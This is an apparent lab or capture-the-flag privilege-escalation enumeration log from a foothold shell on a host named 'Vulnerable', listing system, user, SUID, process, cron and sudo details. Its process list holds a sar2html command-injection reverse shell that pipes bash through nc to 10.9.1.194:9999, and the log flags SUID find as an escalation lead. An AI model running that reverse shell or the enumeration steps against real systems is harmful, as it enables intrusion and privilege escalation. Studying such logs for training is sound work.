System/Kernel
www-data@Vulnerable:/var/www/html/joomla/_test$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib, for GNU/Linux 2.6.32, BuildID[sha1]=d8231516fa1d26d5df42026dfc622b77bf4a681d, stripped
Linux Vulnerable 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:01:15 UTC 2019 i686 i686 i686 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.6 LTS"
NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.6 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
ELF 32-bit LSB executable
Ubuntu 16.04.6 LTS (Xenial Xerus)
4.4.0-142-generic
Networks
www-data@Vulnerable:/var/www/html/joomla/_test$ ip route ; arp -a
default via 10.10.0.1 dev eth0
10.10.0.0/16 dev eth0 proto kernel scope link src 10.10.124.235
ip-10-10-0-1.eu-west-1.compute.internal (10.10.0.1) at 02:c8:85:b5:5a:aa [ether] on eth0
www-data@Vulnerable:/var/www/html/joomla/_test$ netstat -antup4 | grep -i LIST
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:55007 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN
127.0.0.1:3306
Users & Groups
www-data@Vulnerable:/var/www/html/joomla/_test$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
stoner:x:1000:1000:stoner,,,:/home/stoner:/bin/bash
mysql:x:110:118:MySQL Server,,,:/nonexistent:/bin/false
basterd:x:1001:1001::/home/basterd:
ftp:x:111:119:ftp daemon,,,:/srv/ftp:/bin/false
sshd:x:112:65534::/var/run/sshd:/usr/sbin/nologin
total 16K
4.0K drwxr-x--- 3 basterd basterd 4.0K Aug 22 2019 basterd
4.0K drwxr-x--- 3 stoner stoner 4.0K Aug 22 2019 stoner
4.0K drwxr-xr-x 22 root root 4.0K Aug 22 2019 ..
4.0K drwxr-xr-x 4 root root 4.0K Aug 22 2019 .
basterd
stoner
www-data@Vulnerable:/var/www/html/joomla/_test$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=101(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=102(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=103(systemd-bus-proxy) gid=105(systemd-bus-proxy) groups=105(systemd-bus-proxy)
uid=104(syslog) gid=108(syslog) groups=108(syslog),4(adm)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=107(messagebus) gid=111(messagebus) groups=111(messagebus)
uid=108(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=109(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(stoner) gid=1000(stoner) groups=1000(stoner),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
uid=110(mysql) gid=118(mysql) groups=118(mysql)
uid=1001(basterd) gid=1001(basterd) groups=1001(basterd)
uid=111(ftp) gid=119(ftp) groups=119(ftp)
uid=112(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(stoner) gid=1000(stoner) groups=1000(stoner),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
uid=1001(basterd) gid=1001(basterd) groups=1001(basterd)
SUIDs
www-data@Vulnerable:/var/www/html/joomla/_test$ find / -perm -04000 -ls -type f 2>/dev/null
264453 40 -rwsr-xr-x 1 root root 38900 Mar 26 2019 /bin/su
276977 32 -rwsr-xr-x 1 root root 30112 Jul 12 2016 /bin/fusermount
260151 28 -rwsr-xr-x 1 root root 26492 May 15 2019 /bin/umount
260156 36 -rwsr-xr-x 1 root root 34812 May 15 2019 /bin/mount
260172 44 -rwsr-xr-x 1 root root 43316 May 7 2014 /bin/ping6
260171 40 -rwsr-xr-x 1 root root 38932 May 7 2014 /bin/ping
394226 16 -rwsr-xr-x 1 root root 13960 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
416088 16 -rwsr-xr-- 1 root www-data 13692 Apr 3 2019 /usr/lib/apache2/suexec-custom
416085 16 -rwsr-xr-- 1 root www-data 13692 Apr 3 2019 /usr/lib/apache2/suexec-pristine
260101 48 -rwsr-xr-- 1 root messagebus 46436 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
264108 504 -rwsr-xr-x 1 root root 513528 Mar 4 2019 /usr/lib/openssh/ssh-keysign
260699 8 -rwsr-xr-x 1 root root 5480 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
265132 36 -rwsr-xr-x 1 root root 36288 Mar 26 2019 /usr/bin/newgidmap
260428 228 -r-sr-xr-x 1 root root 232196 Feb 8 2016 /usr/bin/find
278157 52 -rwsr-sr-x 1 daemon daemon 50748 Jan 15 2016 /usr/bin/at
263308 40 -rwsr-xr-x 1 root root 39560 Mar 26 2019 /usr/bin/chsh
263304 76 -rwsr-xr-x 1 root root 74280 Mar 26 2019 /usr/bin/chfn
263305 52 -rwsr-xr-x 1 root root 53128 Mar 26 2019 /usr/bin/passwd
260641 36 -rwsr-xr-x 1 root root 34680 Mar 26 2019 /usr/bin/newgrp
263253 160 -rwsr-xr-x 1 root root 159852 Jun 11 2019 /usr/bin/sudo
264477 20 -rwsr-xr-x 1 root root 18216 Mar 27 2019 /usr/bin/pkexec
263306 80 -rwsr-xr-x 1 root root 78012 Mar 26 2019 /usr/bin/gpasswd
265133 36 -rwsr-xr-x 1 root root 36288 Mar 26 2019 /usr/bin/newuidmap
/usr/bin/find
SGIDs
www-data@Vulnerable:/var/www/html/joomla/_test$ find / -perm -02000 -ls -type f 2>/dev/null
137135 4 drwxr-sr-x 2 man root 4096 Aug 22 2019 /var/cache/man
131078 4 drwxrwsr-x 2 root staff 4096 Apr 12 2016 /var/local
131094 4 drwxrwsr-x 2 root mail 4096 Feb 27 2019 /var/mail
405191 8 -rwxr-sr-x 1 root utmp 5480 Mar 11 2016 /usr/lib/i386-linux-gnu/utempter/utempter
260385 40 -rwxr-sr-x 1 root crontab 38996 Apr 6 2016 /usr/bin/crontab
278157 52 -rwsr-sr-x 1 daemon daemon 50748 Jan 15 2016 /usr/bin/at
264104 424 -rwxr-sr-x 1 root ssh 431632 Mar 4 2019 /usr/bin/ssh-agent
263307 24 -rwxr-sr-x 1 root shadow 22000 Mar 26 2019 /usr/bin/expiry
264375 28 -rwxr-sr-x 1 root tty 26356 May 15 2019 /usr/bin/wall
281197 12 -rwxr-sr-x 1 root mail 9716 Oct 26 2014 /usr/bin/mlock
277855 36 -rwxr-sr-x 1 root mlocate 34452 Nov 18 2014 /usr/bin/mlocate
263303 60 -rwxr-sr-x 1 root shadow 61276 Mar 26 2019 /usr/bin/chage
276958 12 -rwxr-sr-x 1 root tty 9788 Mar 1 2016 /usr/bin/bsd-write
278204 456 -rwxr-sr-x 1 root utmp 464152 Feb 7 2016 /usr/bin/screen
263350 4 drwxrwsr-x 3 root staff 4096 Aug 22 2019 /usr/local/lib/python3.5
263351 4 drwxrwsr-x 2 root staff 4096 Feb 27 2019 /usr/local/lib/python3.5/dist-packages
278263 4 drwxrwsr-x 4 root staff 4096 Aug 22 2019 /usr/local/lib/python2.7
278264 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/lib/python2.7/dist-packages
279969 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/lib/python2.7/site-packages
284560 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/fonts
278939 4 drwxrwsr-x 7 root staff 4096 Aug 22 2019 /usr/local/share/sgml
278944 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/sgml/dtd
278940 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/sgml/declaration
278942 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/sgml/entities
278941 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/sgml/stylesheet
278943 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/sgml/misc
279225 4 drwxrwsr-x 6 root staff 4096 Aug 22 2019 /usr/local/share/xml
279227 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/xml/declaration
279228 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/xml/entities
279229 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/xml/schema
279226 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/xml/misc
281652 4 drwxrwsr-x 3 root staff 4096 Aug 22 2019 /usr/local/share/emacs
281653 4 drwxrwsr-x 2 root staff 4096 Aug 22 2019 /usr/local/share/emacs/site-lisp
260301 40 -rwxr-sr-x 1 root shadow 38684 Apr 9 2018 /sbin/pam_extrausers_chkpwd
260337 40 -rwxr-sr-x 1 root shadow 38664 Apr 9 2018 /sbin/unix_chkpwd
274 0 drwxr-sr-x 3 root systemd-journal 60 Aug 26 14:55 /run/log/journal
275 0 drwxr-s--- 2 root systemd-journal 80 Aug 26 14:56 /run/log/journal/2f70d4f357a7cd69681d7a545d5e3883
Processes
www-data@Vulnerable:/var/www/html/joomla/_test$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.4 0.8 6652 4528 ? Ss 14:55 0:30 /sbin/init
root 340 0.0 0.5 5104 2860 ? Ss 14:55 0:03 /lib/systemd/systemd-journald
root 403 0.0 0.2 13288 1044 ? Ss 14:55 0:00 /sbin/lvmetad -f
root 428 0.0 0.6 13924 3248 ? Ss 14:55 0:01 /lib/systemd/systemd-udevd
systemd+ 470 0.0 0.4 12596 2156 ? Ssl 14:56 0:00 /lib/systemd/systemd-timesyncd
root 736 0.0 0.4 6012 2184 ? Ss 14:56 0:00 /sbin/dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 850 0.0 0.5 5584 2544 ? Ss 14:56 0:00 /usr/sbin/cron -f
root 855 0.0 0.4 3804 2492 ? Ss 14:56 0:00 /lib/systemd/systemd-logind
daemon 859 0.0 0.3 3488 1812 ? Ss 14:56 0:00 /usr/sbin/atd -f
root 866 0.3 0.5 113064 2540 ? Ssl 14:56 0:21 /usr/bin/lxcfs /var/lib/lxcfs/
syslog 869 0.0 0.5 30728 2836 ? Ssl 14:56 0:00 /usr/sbin/rsyslogd -n
message+ 875 0.0 0.6 6060 3108 ? Ss 14:56 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root 888 0.0 0.2 2244 1064 ? Ss 14:56 0:00 /usr/sbin/acpid
root 890 0.0 0.6 37680 3308 ? Ssl 14:56 0:00 /usr/lib/accountsservice/accounts-daemon
root 915 0.0 0.0 3132 108 ? Ss 14:56 0:00 /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog
root 920 0.0 0.6 35796 3384 ? Ssl 14:56 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 926 0.0 1.7 34660 8980 ? Ssl 14:56 0:03 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 969 0.0 0.4 5212 2032 ? Ss 14:56 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root 977 0.0 0.0 2984 92 ? Ss 14:56 0:00 /sbin/iscsid
root 978 0.0 0.5 3444 2944 ? S<Ls 14:56 0:00 /sbin/iscsid
mysql 982 0.2 17.8 559752 89968 ? Ssl 14:56 0:17 /usr/sbin/mysqld
root 990 0.0 0.7 10008 3996 ? Ss 14:56 0:00 /usr/sbin/sshd -D
root 1082 0.0 0.3 4564 1756 ttyS0 Ss+ 14:56 0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
root 1083 0.0 0.3 4748 1660 tty1 Ss+ 14:56 0:00 /sbin/agetty --noclear tty1 linux
root 1128 0.2 2.5 241404 12952 ? Ss 14:56 0:16 /usr/sbin/apache2 -k start
root 1148 0.0 3.7 155728 18848 ? Ss 14:56 0:02 php-fpm: master process (/etc/php/7.0/fpm/php-fpm.conf)
www-data 1193 0.0 1.1 155728 5584 ? S 14:57 0:00 php-fpm: pool www
www-data 1194 0.0 1.1 155728 5584 ? S 14:57 0:00 php-fpm: pool www
root 1225 11.5 2.6 23112 13240 ? Rs 14:57 11:41 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
www-data 6640 0.1 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6641 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6643 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6644 0.0 0.5 241468 2976 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6645 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6646 0.0 0.8 241468 4460 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6656 0.0 1.7 241664 9060 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6657 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6659 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6662 0.0 0.8 241628 4332 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6664 0.0 0.1 2368 524 ? S 16:31 0:00 sh -c ./sar2html -r ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.9.1.194 9999 >/tmp/f
www-data 6671 0.0 2.0 241664 10112 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6676 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6677 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6683 0.0 0.8 241468 4460 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6696 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6702 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6704 0.1 3.3 242056 17136 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6705 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6710 0.0 0.5 241468 2980 ? S 16:31 0:00 /usr/sbin/apache2 -k start
www-data 6713 0.0 0.1 2380 568 ? S 16:31 0:00 cat /tmp/f
www-data 6714 0.0 0.5 3748 2744 ? S 16:31 0:00 bash -i
www-data 6715 0.0 0.2 2764 1496 ? S 16:31 0:00 nc 10.9.1.194 9999
www-data 6915 0.0 0.3 2664 1840 ? S 16:31 0:00 script /dev/null -c bash
www-data 6916 0.0 0.1 2368 588 pts/0 Ss 16:31 0:00 sh -c bash
www-data 6917 0.0 0.5 3760 2768 pts/0 S 16:31 0:00 bash
www-data 9212 0.0 0.5 5688 2748 pts/0 R+ 16:38 0:00 ps -auxwww
/usr/sbin/cron -f
/usr/lib/policykit-1/polkitd --no-debug
/usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
Cron & Systemd
www-data@Vulnerable:/var/www/html/joomla/_test$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED
Mon 2024-08-26 23:07:10 EEST 6h left Mon 2024-08-26 14:56:20 EEST 1h 43min ag
Tue 2024-08-27 06:53:27 EEST 14h left Mon 2024-08-26 14:56:20 EEST 1h 43min ag
Tue 2024-08-27 15:10:25 EEST 22h left Mon 2024-08-26 15:10:25 EEST 1h 29min ag
3 timers listed.
Pass --all to see loaded but inactive timers, too.
Sudo Version
www-data@Vulnerable:/var/www/html/joomla/_test$ sudo --version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
Sudo version 1.8.16
Glibc Version
www-data@Vulnerable:/var/www/html/joomla/_test$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23